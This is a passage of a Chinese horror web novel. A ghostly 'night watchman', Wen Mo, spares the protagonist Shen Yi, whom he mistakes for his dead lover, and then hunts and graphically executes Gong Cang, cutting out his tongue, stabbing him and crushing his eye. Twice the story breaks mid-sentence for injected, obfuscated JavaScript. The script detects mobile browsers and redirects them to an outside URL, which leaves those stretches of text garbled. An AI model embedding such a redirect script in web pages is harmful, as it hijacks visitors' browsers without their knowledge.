铁门上的雨滴往下滑落。 门锈得太严重,往下淌落的雨滴都是黑水,带着铁锈的墨色。 门上的两张门神斑驳,已经连面容都看不清,只依稀看见两双狰狞的眼睛。 沈奕忽然发不出声音来。 他站在雨下门前,恍惚间想起梦里的夕阳。落日余晖底下,他也这样站在这扇门前——手里还拿着一袋给温默的橘子。 这扇门,是温默家的门。 “沈奕?” 龚沧疑惑地叫了他一声。 沈奕置若罔闻,他抬手去碰了碰门。门没锁,沈奕这样轻轻一碰,就吱吱呀呀地开了。 门后一片死寂黑暗,清晰的雨声哗啦啦地响。 站在原地思索片刻,沈奕推开铁门,走进了院子里。 “沈奕!”龚沧大惊,“你干嘛去!?” 沈奕还是没回答。 他像中邪了似的一言不发,只闷着脑袋往前走。 进到院子里以后,他看了看四周。院子里一片荒芜,应该是许久都没人居住了,杂草长了满地,前院堆满杂物,屋子黑漆漆的,到处都是尘土,不知名的枯黄藤蔓爬了一墙,雨从房顶屋檐上落下来,噼里啪啦地砸在地上。 阴沉的雨天里,废弃的屋子死气沉沉,毫无生气。 沈奕往前走去,没走几步就被挡住了路。院子里的杂物太多,把通往屋子里去的路堵得严严实实。 沈奕站在山似的杂物跟前,依然沉默。 他再次看看四周。 虽然雨下不停,四周阴沉,但沈奕认得出来,这的确是温默家。 虽然他在梦里从未进过温默的家里,但他却莫名很坚定,也毫无来由的很是确信。 ——这就是温默家。 沈奕忽然看不懂现状了。 雨打湿视线,沈奕有些看不清眼前。不知道是雨淋多了要生病,还是眼前这些事儿真的太诡异了,沈奕脑子里钝痛起来。 一阵混混沌沌的昏天黑地,沈奕想起梦里那个瘦瘦小小可怜巴巴的小哑巴。 有件事他其实没和龚沧说。 梦里的温默,跟他在谈恋爱。 尽管不知前因后果,但沈奕亲耳听见自己说喜欢他,而且是当着温默的面。 温默也没有吃惊或者难以置信,只是红着脸低下头。大约是早就说过了,温默早就知道了,也早就接受了,他俩早就是那种关系,所以他才会是那个反应。 雨珠迷了眼,沈奕抹了一把脸。 他看向天空。天上阴雨滂沱,梦里的夕阳不在。 这院子荒废了,温默不知道去了哪儿,一股沧海桑田物是人非的味儿扑面而来。 沈奕突然没什么自信了,这一切都有点太匪夷所思。他开始认真思考自己是鬼的可能性——毕竟温默家居然真的出现在这村子里了,那就说明,这村子就是他梦里的那个村子。 他不知道自己在梦里多大,但他对梦的记忆很清晰。那个梦他已经连续做了七次,绝对不会有错。 他该不会真的是这里的鬼,然后把自己给洗脑了吧……把这一切洗脑成自己的梦,告诉自己,都是个梦而已。 这可能性应该是有的吧。 “沈奕!” 龚沧又颤声喊了一嗓子。沈奕回过头,见到龚沧跟着进了院子里面,紧抱着自己,紧张地观望着四周,模样极其不安。 “快走啦,”龚沧催促他,“你进这院子干嘛啊,这里好吓人,感觉好像有什么东西要出来了。” 这院子的确看起来很像要闹鬼的。 沈奕才想起来自己该干的正事。他低头点开自己的手机,已经五点半了。 时间过得真是快。 “我知道了。”沈奕说,“那我们……” 他正要收起手机时,突然,手机上的时间猛地一蹦。 只一眨眼,五点半就跳成了18:25。 沈奕猛地一怔。 还有些光亮的四周眨眼间轰地黑了下来。 村子里骤然黑成伸手不见五指的夜,雨下得更大了,雨滴如刀子一样砸在身上。 沙哑的地狱之声再次阴森地响起。 【守夜人默,狩猎开始。】 沈奕一僵。 半晌,他僵硬地转了转脖子,难以置信地扬起脸。 苍天漆黑。 村子西边,一块大空地轰隆隆地塌陷下去,成了一个大坑。 一阵若隐若现的哀嚎哭叫声忽然打地底下响起,而后渐渐变得清晰。接着,一只只漆黑的、骨瘦如柴的鬼手从地里破土而出,挣扎扭曲地伸出大地,伸进雨里,痉挛着伸向天空,仿佛想从地里逃出。 鬼手们蠕动着、挣扎着。 坑后慢慢蔓延起一片白雾,雾中似乎多出了什么东西。 只是大雾迷蒙,没人看得清到底是多出了什么。 那若隐若现的东西前,一个影影绰绰的人影直起身子,在大雾里站了起来。 * 【……守夜人默,狩猎开始……】 随着播报声似有似无地在耳边又一次响起,温默的意识逐渐回笼。 眼皮微动两下,一双鲜红如血的眼睛在白雾里缓缓睁开。 他正歪斜着身子,靠在一座木桥的桥头上。 这座木桥不是别的,正是奈何桥。 奈何桥身处于这片白雾之中。只要从奈何桥上走过去,就能顺着桥后大雾茫茫的路回到人间,离开游戏。 守夜人看守着这道奈何桥。 温默坐直起来,揉了揉后脖颈,沉默地、慢吞吞地站起了身来。 大雨噼里啪啦地浇在身上。 他走出了茫茫的大雾。 守夜人默身形高挑,穿着一身黑。他上身是件黑色的冲锋衣,领子高高立起,穿在里面的同样是件高领的衣服。 两个领子都拉得很高,把他下半张脸遮盖得严严实实。 脚上的一双黑靴踩在地上,嗒嗒作响。 温默走出大雾,雾外是一片凹陷下去的大坑。坑里鬼手无数,凄嚎声悲惨地从地下传来,仿佛地底下活埋着还没死透的人,是它们在呜咽着求救似的。 这是温默的猎杀场,也叫行刑场。 守夜人猎到人后,地狱会将被猎杀的罪人带到猎杀场来。 罪人会死在这里。 温默站在行刑场前,浇了会儿雨。 守夜人默虽然高挑但是瘦小,他眉眼深邃,睫毛细密,有双圆乎乎的杏眼,和沈奕梦里的那个温默没有什么分别。 但和梦里不同,守夜人默一双眼睛眸子猩红,目光冷冽,眉眼淡漠无情,丝毫没有梦里那般的局促不安。 温默蹙起眉头,脸色难看地望着猎杀场前的杨庄子村口,叹了一口出不来声的气。 他从上衣内兜里摸出来了一张发黄的宣纸,将它展开来。 这是“断罪书”。 每个守夜人都会有一张这样的“断罪书”。断罪书是地狱发行给守夜人的,是个样式老旧的表格,是温默还活着时的年代会有的产物——那会儿是七十年代。 断罪书上的字体也是毛笔字,还盖着拔舌地狱的“公章”。 纸上从最顶端排了一溜人名下来,名字的后面分别写着一些罪名。罪名后的最后一栏,则都齐齐整整地标注着:默。 这是温默的代号。 断罪书会详细地把所有罪人的罪名记录在案,而在每一轮新的“罪人”进入地狱后,断罪书上的姓名和罪名也都会自动进行大更新。 温默从上到下一个个看过来,在看到“颜畔”的名字时,他顿了顿。 颜畔的名字后面没有罪名。 温默没有意外,只是疑惑。 她为什么会在这里。 沉默片刻,温默又往下看去。 大约是为了应十八层地狱的景,每一轮的罪人都有十八个人。温默打量了遍所有人的罪名,在看到倒数第二行时,又愣了下。 第二行是一片空白。 没有名字,也没有罪名,只有最后挂着一个“默”字。 排在最后面,是个新人。 这人怎么回事。 四十二年了,温默从未遇见过这种情况。 他又往下看去,最底下还有一个人。 龚沧。 看见这个名字,温默脑子里白了一瞬——守夜人有个能力,只要看见断罪书上的名字,就能自动连接到这个罪人的面貌,但需要几秒的时间。 这也是方便他们在看见罪人的一瞬间,就能知道对方的罪名。 脑子空白一瞬后,龚沧的面容在温默的脑子里清晰起来。 看清这人的刹那,温默心头上猛然轰隆一声。 呼吸瞬间重重沉堕进胸腔,他嘴里涌上了一股血味儿。 温默捂住嘴,数十年前的悲惨过往走马灯似的在眼前又走了一遍。 他颤抖着捂着自己的嘴,瞳孔震颤不停。 好半晌,他才从走马灯里回过神来。温默动了动手指,突然发觉自己没了知觉,浑身都麻木了。 他看着自己猛地捏紧断罪书,却丝毫没有感觉。 仿佛魂魄离体一般,他居然感觉不到自己这具身体了。 愤恨像火一样烧了起来。 咚咚。 咚咚、咚咚。 他听见自己突然有了心跳。 大雨突然在这一瞬停顿,仿佛被摁了暂停,那些滂沱的雨滴竟然停在空中,再一动不动。 直到守夜人默放下捂嘴的手,而后用力摁住在腰间别着的一把寒刀上。 大雨轰然落下。 细密的雨组成看不见的雨幕。 断罪书被粗暴地揉成一团,塞回内兜里。 温默拔出腰间的刀,决绝地走向村子里。雨水冲刷了他的面庞,又顺着脸颊浸入领子里。 黑暗中,唯有那血眸里的杀意麻木又清晰。 一股寒气突然打背后袭来。 龚沧吓得一个哆嗦,忙一个回身,朝向身后。他握着自己刚在院子里寻觅出来的一根粗壮树枝做武器,左看右看地警惕了一圈。 身后空无一物,只有雨依然下得厉害。 龚沧松了口气。 “干嘛呢你?” 龚沧抬头,沈奕正在前面不远处。 沈奕眯起眼睛,在黑暗里努力辨认了下龚沧的身影:“跟空气打架啊?” “刚刚突然有股杀气……”龚沧说,“老子后背突然一凉。咱们还有多远啊,话说出来走没问题吗?刚刚不是说守夜人已经出来了吗?” “不打手电筒就应该没问题。”沈奕说,“没有光他不就找不到了吗。再说刚刚那个院子太小了,堆的东西太多,跑不开,一旦被抓到就死定了,还是得出来找路。” “万一在路上被抓到估计也是死定了……” “路这么宽,被找到就跑呗,谁家玩恐怖游戏没有追逐战。” “……” 有道理啊。 龚沧没话说了,跟着他往前走。 突然轰隆一声,天上炸下一道雷。龚沧吓得惨叫一声,蹦起来三尺高,连滚带爬地朝着沈奕冲过去,抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152205|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的衣角。 沈奕被拽得往后一仰,啧了一声,瞬间想骂爹。 “龚沧,你有病吧,”他说,“就是道雷好不好。一道雷给你吓成狗了?” “吓我一跳啊。”龚沧欲哭无泪,“好端端地,怎么突然就炸雷了。” 说话间,又一道雷炸了下来。 雷确实响,吓得龚沧又一哆嗦。 突然,他看到了什么,脸刷的一白。 “沈、沈奕!” 龚沧猛锤几下沈奕的后背。正害怕的人的力气真是吓人,沈奕被锤得差点吐血,感觉有什么内脏都要被吐出来了。 他咬牙切齿:“轻点!又干嘛!?” “那个!!” 龚沧惊恐地指向前方。沈奕转头一看,立马也不吱声了。 远处,一个一身红衣的人飘在半空中。 红衣人出现在一个十字的岔口处,穿着一身像要结婚似的大红衣服,佝偻着腰,弯着上身,往前飘去。 他没有双脚,小腿以下是一片虚影。 那看起来是新郎官的衣服。那红衣人身形虽然瘦小,但看起来是个男性。 但他盖着红盖头。 红盖头垂到肩上,随着风雨轻轻摇动。 这红嫁衣从路右边出现,悄无声息地佝偻着腰,飘向了路左边,消失在了视线里。 直到他消失,沈奕才松了口气。 龚沧吓得直接搂住他的脖子,贴着他的脸,说话都结巴:“你你你你你,你看到、看到了吧,沈奕?” “……看到了。” “那是什么?”龚沧哭了,“那是什么啊!?” “鬼。”沈奕声无波澜。 “是鬼吧!果然是——” ——咔哒。 身后突然又传出声音来。 龚沧立刻闭嘴了。 声音虽然还遥远,但十分清晰,听起来是谁踩断了木头树枝的声音。 脚步声平稳地响了起来,渐渐越来越近,渐渐越来越清晰。 哒哒、哒哒。 沈奕回过头去,却什么都看不见。 在这无边的黑暗雨夜里,来人不慌不忙,脚步闲适。 一股不祥的气息扑面而来。龚沧吓得贴紧沈奕,把他一个劲儿地往路边人家的院墙上拉。 两个人在来人的脚步声里悄无声息地后退,贴到墙上。 一道惊雷轰地落下。 龚沧吓得一抖。 雷电炸开的刹那,黑暗的雨夜被撕开裂缝,有一瞬亮如白昼。 沈奕眼前一晃,在一瞬间,他似乎看到一个人影。 很熟悉的人影。 但没来得及看得太清。 又一道雷轰地又落下,雷光亮起时,沈奕分明看到有个人在朝这儿走过来。 沈奕愣了。 惊雷轰地又紧接着落下第三道。 那人瞬移似的近了一大截。 沈奕看清了他的脸。 看清的瞬间,沈奕血液凝固,僵在原地。 雨突然大了,下刀子一样打在身上,让人眼睛都睁不开。天上的雷好像疯了,竟然接着劈下了第四道。 顾不上身上疼,沈奕赶紧抹了把眼睛,抬手挡了挡雨,睁大了眼。 再次亮起来的路上突然空无一人。 沈奕怔住。 胳膊突然被人狠狠一扯,龚沧慌张恐惧的声音在他身边响起:“去哪儿了!?” 沈奕慢半拍地发觉胳膊很疼,是刚刚龚沧一直在紧抓着他。 顾不上管这种事,沈奕连忙四处看了看。天上的雷还在劈,四周时不时轰隆地亮一下。 但哪里都没了刚刚那人的身影。 “消失了?”龚沧小心翼翼地问他。 “好像是。”沈奕往四周确认了好一会儿,叹了口气,“真不见了。” 他莫名失落——刚刚那个,应该是守夜人。 虽然隔着大雨,那人还把领子立得很高,遮住了口鼻,但那双眼睛真的和温默一模一样。 沈奕心烦意乱,咬了咬大拇指的指甲,越发搞不明白了。 龚沧没他这么多烦恼。他松了口气,转过头,望向刚刚守夜人来时的路,心头上一阵劫后余生的侥幸。 那里一片黑。 突然,惊雷劈下。 再次亮起的一瞬间,守夜人默就站在他面前。 距离极近,几乎脸对脸。 龚沧都能把那双眼里涌起的杀意看得一清二楚。 龚沧瞬间惊恐,张嘴就想尖叫。 可声音没有出来。他明明张大了嘴,但没有声音。 沈奕转头一看,也吓得心一突突。 默抬手,一柄寒刃劈了过来。 龚沧眼瞅着刀要割了自己的喉咙,忙猛地一后退。 寒刃擦着他的脖子,咚地插进墙里。 龚沧后退得太猛,一个没站稳,扑通一声坐倒在地。 沈奕猝不及防,他被龚沧往后一撞,也一个没站稳,跟着扑通坐了下去。 利刃插进了墙里。温默把刀拔了出来,刚要继续往龚沧身上捅时,雷又落下了。 雷光照亮了雨夜,他突然看清龚沧的同行人。 温默动作一顿。 一瞬,他双眼里的麻木和愤恨突然散去了。 雨夜又暗,而后又亮。光暗交错的电闪雷鸣间,温默看见那人湿漉漉的圆眼,看见他细密的长睫和乌黑的眼睛,看见他和从前一样的亮晶晶的眼珠。 这无边的雨夜里,他猝不及防地看见了早已被烧死的故人。 11. 鬼新郎(捌) 大雨倾盆,噼里啪啦地响在耳边,浇在身上,打在四周。 视野被雨迷了眼。温默没有闭眼,任由它流进眼睛里。 双眼一阵刺痛,但他连眨眼都不敢,他生怕自己眨一下眼睛,那人就又不见了。 手里的刀还拿在手上,正要往下落。 温默却捅不下去了。 他怔怔望着坐在地上的那人——坐在上辈子杀了他的“龚沧”后面的那人。 是江奕。 温默从前认识他的时候,他叫江奕,那时候大家都叫他奕哥儿。 他不自觉放下了拿着刀的手。“江奕”好像也很震惊,坐在地上两眼发直地瞪着他,好像也很难相信自己所看到的一切。 雨慢慢地停了下来。 他们还是沉默了很久,久得天上乌云微微散开,一轮血月穿破云层,向地上投下一层血光。 温默背对着血月。 黑夜亮了起来,“江奕”被照亮了,他身上漫上了一层血月光。半晚上的大雨把他身上浇成了个落汤鸡,他的头发贴着脑门,浑身上下都是水珠,仿佛刚从河里爬上来。 真是和他的奕哥儿一模一样的脸,只是奕哥儿已经死了四十二年了。 是长得很像的人吧? 温默心里犯起嘟囔,他不觉得江奕那么好的人会出现在这拔舌地狱里。 他又多瞧了几眼江奕这落汤鸡的模样。虽然温默此刻也是这样淋着雨过来的,但他已经是个死人了——守夜人都是死人,他们是鬼怪。 温默已经不会生病,他连呼吸都没有了。 但江奕不一定。虽然地狱里的罪人们在游戏进行时不会生病,但出去之后会一定程度影响身体的。 沉默片刻,温默先收起了刀。他脱下穿在外面的黑色冲锋衣,丢在了江奕脑袋上。 江奕被他砸得一哆嗦。 他把衣服从脑袋上拽下来,低头看了看衣服,又抬头看了看温默,一脸懵逼。 温默神情复杂地看着他,给他打了几个手语。 做完手语,江奕还是一脸懵地看着他。 他看起来并没看懂温默的意思。江奕不会这样,江奕总能明白他的意思。 温默突然又看不懂自己在做什么了。这果然不是江奕,这就是个长得像江奕的旁人罢了。 江奕早就死了,死在那场大火里。 温默一时觉得自己好笑。在心中自嘲地嗤笑一声之后,他低头瞥了眼地上的龚沧。 龚沧还是吓得不轻,他已经发不出声音了,坐在地上捂着嗓子,蹭着地连连往一旁退去,浑身都在打哆嗦,恐惧地瞪着他。 他那两腿不停扑腾着,看起来是腿软得站不起来了。 温默伸手扯住他的头发,粗.暴地把他往自己脚底下一扯,抬手又拔出刀来,朝着龚沧的喉咙捅了下去。 “哎!!” 龚沧吓得脸色扭曲惨白时,江奕突然大喊了一声。 他冲过来,抓住了温默挥刀的手。 刀没落下。 温默皱眉抬头,见江奕一脸震惊慌张地望着自己。 两人之间没多少距离,只是中间夹着个眼瞅着就要被杀的龚沧。 江奕握着他的手腕,温默也隐隐用力,这只手就这么在两股力量间抖个不停,被扯来扯去的。 温默警告地瞪了他一眼,眼睛瞟了瞟自己的手,示意他松手。 “放什么手放手!”江奕突然嚷嚷起来,“不行啊,你怎么拿着这么危险的东西乱晃啊!再说这东西要是捅下去,后果很不堪设想的!快松手!” 温默眉头锁得更紧了。 一是因为这人太烦人,二是因为他声音也很像江奕。 该死的。 什么都不懂,还在这儿胡嚷嚷。 温默再没了耐心,手一抬,一用力就把他推了出去。 守夜人毕竟都是鬼神,一个普通人动不了他。 江奕当场就飞了出去。他在地上连滚了好几个圈,才在五米开外停了下来。 温默抬手,一刀捅下—— 江奕惊得大叫:“阿默!” 刀尖猛地在龚沧喉咙边停下。 低头半晌,温默缓慢地、僵硬地抬起头来。 那双血眸瞳孔收缩,他难以置信、震惊错愕地望向江奕。 江奕站了起来,正朝他跑过来。温默抬起头时,他已经跑到了跟前来。 江奕气喘吁吁,再次抓住了他拿刀的手。 温默还在愣神时,另一只手忽然也被江奕抓住了。 他望着江奕的脸。江奕大口大口喘着粗气,因为太紧张,五官都绷得很紧,脸色也发红。 恍惚间,温默仿佛看到四十五年前的那天。那天江奕小心翼翼地敲开自己家的门,支支吾吾地问他晚上有没有空。 他说他有话跟他说。 那时候正是午后,太阳很大,他也是这样紧张得脸都绷紧的模样。 温默便晃了神。他恍恍惚惚地随着江奕的力气去了,听话地跟着他松开了手。 他松开了龚沧。 江奕喊了一声:“跑啊!!” 温默回过神来。 低头一看,龚沧居然从他脚底下连滚带爬地爬了出去,朝着远方逃跑了。 ! 温默眼睛一凛,瞬间什么江奕什么初夏什么午后全都忘了,一股子恨火轰地又烧起来。 他要跑了。 怎么能让他跑……怎么能让他跑!? 那混账毁了一切的——他把一切都毁了! 温默推开江奕,抬脚就要去追回来。可不知道为什么,这次他推不开了,不论他怎么用力,他居然都推不开江奕了。 江奕牢牢地抓着他的双手。 “阿默!”江奕声音急切,“你听我说!你先别动,也先别激动!你听我说,我知道这是你现在的工作!但是你先从别人下手嘛,那是我大学舍友啊!就是,那是我兄弟呀,虽然他又烦人又胆小喊起来嗓门又大闹起来还下手不知道轻重,锤得我现在右边肩膀还在痛,但那是我兄弟啊!” “你给个机会行不行,我俩才第一次玩游戏啊,这才第一个晚上呀!你给个机会,好阿默!” 温默几乎要听笑了。 如果不是他现在连气音都发不出来,他肯定要笑出声了——哑巴也分很多种,温默是声带受损的那种。他从前是能发出气音来的,也能发出一些咿咿啊啊的声音,只是说不出话。 但现在他是气音儿都发不出来了,因为某种原因。 这不重要,重要的是命运这东西真是他爹的把人当狗玩。 一趟轮回转生,那个天杀的混账居然又跑来跟江奕当表面兄弟了。 这傻子也是真傻,居然又一次把人家当真兄弟处着。 谁会连着两次摔死在一个坑里!? 温默越想越气,他一用力,这次顺利地推开了江奕。 江奕往后踉跄了几步,咚地一声撞上了后面的墙。 他的后脑结结实实地撞了上去,疼得他惊叫一声,痛苦地闭着眼睛捂住后脑。 温默心里跟着揪了一下,他总是见不得江奕疼。 江奕吸着凉气睁开眼,嘴里还是说:“阿默,你……” 话才起了个头,江奕忽然就不说话了。 他本想再求求他,可看见温默的眼睛的那一刻,江奕突然不说话了。 那是一双三言两语说不清的眼睛。 他心疼地望着他,他悲哀地望着他,他恼怒地望着他,他怨恨地望着他,他眷恋怀念地望着他,他像在隔着一条遥远的河流,遥遥望着已记不清事,也记不清自己的爱人。 他像在透过他看着别的谁,又像只是在透过他的眼睛看着他身体里的另一个魂魄。 江奕忽然就说不出话来了。 温默低敛眼眸,转过了头。 江奕下意识地抬起手,刚想再叫他一声,温默却转身轰地化作一阵黑气,在血色的月光下消失无踪。 “哎!” 江奕冲上来抓他,却只抓到一把空气。 温默消失了,留下一地空空荡荡。 “沈奕”茫然几许,忽然想起什么,回头望去。 温默那件黑色外套还留在不远处的地上。 * 血月下,依然夜色无边。 地上的水洼一滩又一滩,屋檐上还在往下滴落着雨滴。 龚沧死抓着自己发软的两腿,咬着牙,抖着声音,往前气喘吁吁地跑。 他跑得岔气了,胸腔底下些的地方像是破了洞似的,喘气都疼。他捂着那处,继续马不停蹄地往前跑。 守夜人默的模样在眼前不断浮现。 什么情况,到底什么情况…… 龚沧怕得眼泪满脸的流,心脏咚咚作响。不知为何,他心生出一股莫大的恐惧和奇怪的心虚。 就好像自己杀了人家全家似的。 他有这样的莫名其妙又巨大的心虚。 直到跑得两腿酸痛,一步都跑不动了,龚沧才呼哧乱喘地停了下来。他弯下腰扶着膝盖,喘了好久的气,缓了一会儿后直起身,他边抹着脸上的汗边惊魂未定地回过头,打量了一圈四周。 他不知道跑哪儿来了,但总之还在村子里,四面八方都是人家。 四周安静,没有守夜人的气息。 确认过此处安全,龚沧抬手摸了摸自己的嗓子,试着啊啊了两声,声音顺利地从喉咙眼里出来了。 能出声了! 龚沧立马心安了下来。刚刚面对那个守夜人,他竟然都没办法出声。 “喂。” 有道声音冷不丁传来,龚沧吓了一跳。一声大叫后,他抬头一看,见颜畔居然趴在一旁的屋院墙的顶上,一脸淡定地跟他搭了话。 “怎么那么慌啊你。”颜畔说,“遇上鬼了?” 龚沧立马哭了:“我遇上了!我遇上守夜人了呀!姐他太吓人了,我、我进你那屋子里躲一会儿!” 他说着就要往颜畔那院子里冲。 “别急。”颜畔慢条斯理地出言拦住他,好似根本不怕守夜人似的,“他这不是没追上来吗,你急什么。” 龚沧哽了哽:“可我……” “话说回来,沈奕没跟你一起?”颜畔说,“你俩应该是一起的吧?” “哎?啊,是一起来着,”龚沧说,“他帮我拦住了守夜人,我趁机就跑了。” “你把他跟守夜人留在一个地方?”颜畔说,“那他不就凶多吉少了吗。要不我跟你回去看看?” 龚沧眼睛一亮。 那抹亮光稍纵即逝,很快在他眼中消失。 但颜畔是个人精,她没放过这抹光。 她眯了眯眼。 龚沧苦笑着缩了缩肩膀:“别了吧姐,没必要……咱现在再回去,黄花菜都已经凉了,再说了再说了!沈奕他不是可能是个鬼吗,咱过去可别放虎归山了!” 这成语用的有点奇怪。 颜畔想。 “而且那个守夜人,刚才看见沈奕还愣了下!我觉得你们说的对,沈奕估计真的是个鬼!”龚沧惨白着脸喃喃起来,“对,他肯定是个鬼……不然他为什么和守夜人走得那么近?为什么守夜人看见他会有那么大的反应?不然为什么……为什么守夜人只杀我,不杀他?” “他一定是个鬼的,不然这都说不通的!”龚沧又猛地抬起头,急切道,“姐你也要小心啊,他一定和守夜人是一伙的!说不定沈奕一会儿还会帮他一起狩猎!姐,你一定要小心!我差点就被他害死了!他肯定一会儿等天亮了,咱们得好好讨论一下!” “咱们得想办法处理一下沈奕!” 颜畔脸上笑意浓浓:“是吗,等到天亮要讨论啊。” 龚沧忙不迭地点头,一脸期待又小心翼翼地赔着笑:“是啊是啊,姐,这一定是要讨论的吧?” 颜畔无可奈何:“可你没有等到天亮的命了,怎么办呀。” 龚沧一怔。 她带着笑,嘴里说的话却冰冷诡异。 望着那张笑脸,一股冷意蹭地爬了一后背。龚沧不自禁后退了两步,干笑起来:“姐,你说什么呢……” 咔哒。 熟悉的、仿佛踩断了什么东西的声音从不远处传来。 龚沧吓得一哆嗦,猛地转头。 路上一片空空荡荡。 脚步声也没有响起,四周依然安静。 龚沧惊魂未定,不敢放松,回过头说:“姐,我——” 屋院墙顶上一片空空荡荡。 颜畔不见了。 龚沧瞳孔一缩。 他张了张嘴,下意识地想再叫颜畔几声,喉咙里却又发不出声音了。 龚沧顿时惊恐地捂住脖子。忽然一阵凉气从背后袭来,他转头一望。 守夜人默站在他身后。 龚沧呼吸一滞。 噗呲一声,刀破皮肉,鲜血飞溅。 扑通一声,龚沧仰面倒在地上。 躺在地上怔了片刻,他感到喉咙隐隐作痛,阵阵发凉。 他伸出手,一摁住脖子,登时剧痛起来。 龚沧脑子一片空白。他张了张嘴,还是说不出话。他颤颤巍巍地抬起手,手心里一片鲜血。 血月当空。 龚沧终于明白过来发生了什么,他伸手拼命捂住喉咙,指缝里却依然洇洇淌出无数鲜血,脖子上的剧痛愈演愈烈。 实在太疼了,龚沧顾不上给自己止血,不禁松开手。 就见那喉咙上多出一条丑陋的巨大口子,正往外不停不断地淌着血。血流得很多,他刚刚用手捂来捂去的,让血流得到处都是,胸前红了一大片,伤口也被他自己搓得血肉模糊。 龚沧渐渐呼吸不上来了,他用力地吸气呼气着,胸口都跟着剧烈起伏起来。 他脸色惨白扭曲,瞳孔因恐惧而缩小颤抖。 他忽然听见哒哒两声,他抬了抬眼睛。守夜人默走到了他身边来,低头下来,居高临下地盯着他。 他要死了。 龚沧很清晰地明白了,他要死在这拔舌地狱里了。 莫大的恐惧袭来,龚沧不禁流下两行泪。他的嘴巴一张一合,竭尽全力地想发出什么声音来,可依然一声都发不出。 他连乞求的话都说不出。 天上的乌云又聚集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152206|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来了,雨淅淅沥沥地下了起来。 雨细细地打在脖子上的伤口上,龚沧痛得想惨叫。他躺在地上不断呼气,感到越来越难呼吸上来。 他伸出手,抓住守夜人的脚腕,乞求地望着他。 眼泪一行一行合着雨水淌下,龚沧嘴巴一张一合,用嘴型向他说着请求,无声地求着他。 守夜人默一言不发,只是低着头,凉薄地看着他这狼狈的模样。 忽然,不知从哪儿传来一阵哀嚎哭叫。 哭叫声很快清晰起来,龚沧一怔。 哭叫声是从身底下传上来的。 一只只鬼手突然从他身边的地里破土而出。 龚沧惊惧地转头一看,看见了一只只漆黑的、皮包骨头的鬼手。 下一秒,它们抓住了他。 鬼手们扯住他的身体,抓住他的脖子、四肢和躯干,捂住他的嘴巴,将他扯进了地底下。 地面忽的塌陷下去,龚沧掉了进去。仿佛被活埋,在他落下地里后,尘土又一点点从旁边的地面上滚落下去,一点点把龚沧深埋了。 最终,伴着一阵突然从哭变成笑的欢喜声,此处归于宁静。 温默在这重归宁静的雨里停驻了片刻。 他转过身,离开了。 他回到了猎杀场。 龚沧躺在猎杀场的大坑里,他被那些鬼手带回来了。 在外只是猎杀。 回到这里,才真正是守夜人的处刑。 龚沧被一只只鬼手抓着身躯,按在那里。看见守夜人默,龚沧剧烈挣扎起来。 温默不做理睬。他走下猎杀场,撸起两只袖子,露出半截手臂。他有很漂亮的手臂线条,惨白的皮肤上有蜿蜒的青筋,虽然瘦小,但看得出肌肉紧实。 雨珠落在上头,一滴滴顺着手臂淌落下去。 他看了看身边,挑了一块棱角尖利的石头,低身捡了起来,丢到了龚沧身边。 温默走了过去。 他骑到龚沧身上,拔出腰上的刀,伸手掰开他的嘴,把他的舌头揪了出来。 龚沧惊恐地瞪大眼睛,流了眼泪。 他挣扎得更厉害了,但没什么用。 温默把刀反手一旋,利落地割了他的舌头。 龚沧痛得张大嘴巴,面庞扭曲得如同怪物。温默抬起手,又几次手起刀落,一刀一刀捅在他身上。 他表情麻木,瞳孔缩小着,一刀一刀麻木地捅下。 他看着龚沧在他一刀一刀下逐渐变得血肉模糊,逐渐皮开肉绽。 鲜血淋淋地溅到身上,温默却置若罔闻。 他仍然一刀一刀地捅在他身上,痛得龚沧渐渐挣扎都挣扎不出来了。待到他只剩下最后一口气,只能躺在地上颤抖着瞳孔望着温默,只能无力地流眼泪,温默放下了刀。 他拿起一旁刚捡来的石头,对准龚沧颤抖的。流着血的眼睛。 咚! * “龚沧!” “龚沧!” “沧!” 沈奕跑了半个村子,边跑边喊,跑得气喘吁吁,却没看见龚沧半个影子,也没看见守夜人。 天上又下起雨了。 沈奕都跑不动了,于是停了下来。他弯腰下去扶着膝盖缓了一会儿,抬头抹了抹脑门上出的一层细密的汗。 忽然,他看见前方似乎有些不对。 前面好像有什么,在村子外头。 沈奕走了出去。 走到近些的地方,他一怔。 这是一个黑色的巨坑,坑里有无数漆黑的鬼手。 沈奕被这场面震撼得无以复加。 坑里好像还有什么——沈奕突然注意到不对。他定睛一看,见那居然是个血肉模糊、几乎不成人形的尸体。 那人的脑袋都被砸烂了,顶着一个几乎成了碎沫的头颅,身上也是一堆皮开肉绽的刀口。 从那惨烈程度就足以看出,下手的人对他有着深仇大恨。 定是血海深仇。 那人身上穿着克莱因蓝的上衣短袖和黑牛仔裤,是龚沧今天穿出来的衣服。 那是龚沧。 …… 沈奕喉头里猛地哽住了一口气,上不去也下不来。一股窒息突然漫上心头,但他心情却有些微妙——沈奕居然感觉不到该有的害怕,也感觉不到震惊和伤心。 很奇妙,他甚至有种想长舒一口气的松快和痛快感。 这情况过于荒谬,沈奕心里又生出一种荒诞感。他对着龚沧的尸体懵了一会儿,忽然听见一阵水声,似乎是谁在洗着什么。 沈奕转过头。 他记得不远处有条小河。 声音也的确是从那边发出来的。 沈奕走了过去。 河边有一个人。 